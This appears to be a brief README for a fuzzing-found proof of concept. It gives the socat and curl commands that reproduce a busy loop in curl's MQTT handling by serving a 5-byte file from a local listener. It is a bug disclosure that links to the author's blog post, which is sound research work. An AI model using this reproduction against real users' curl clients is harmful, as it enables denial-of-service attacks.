A 5 byte PoC for busylooping curl - my first fuzzy finding.
Read more about my first steps into fuzzing in my blog: https://nyget.in/2022/03/28/my-first-fuzzy-finding-busyloop-in-curl/
Run the following on linux with the file "poc" :
$ socat -u FILE:poc TCP-LISTEN:12345,reuseaddr,fork
Access with curl:
$ curl mqtt://localhost:12345
Observe busyloop.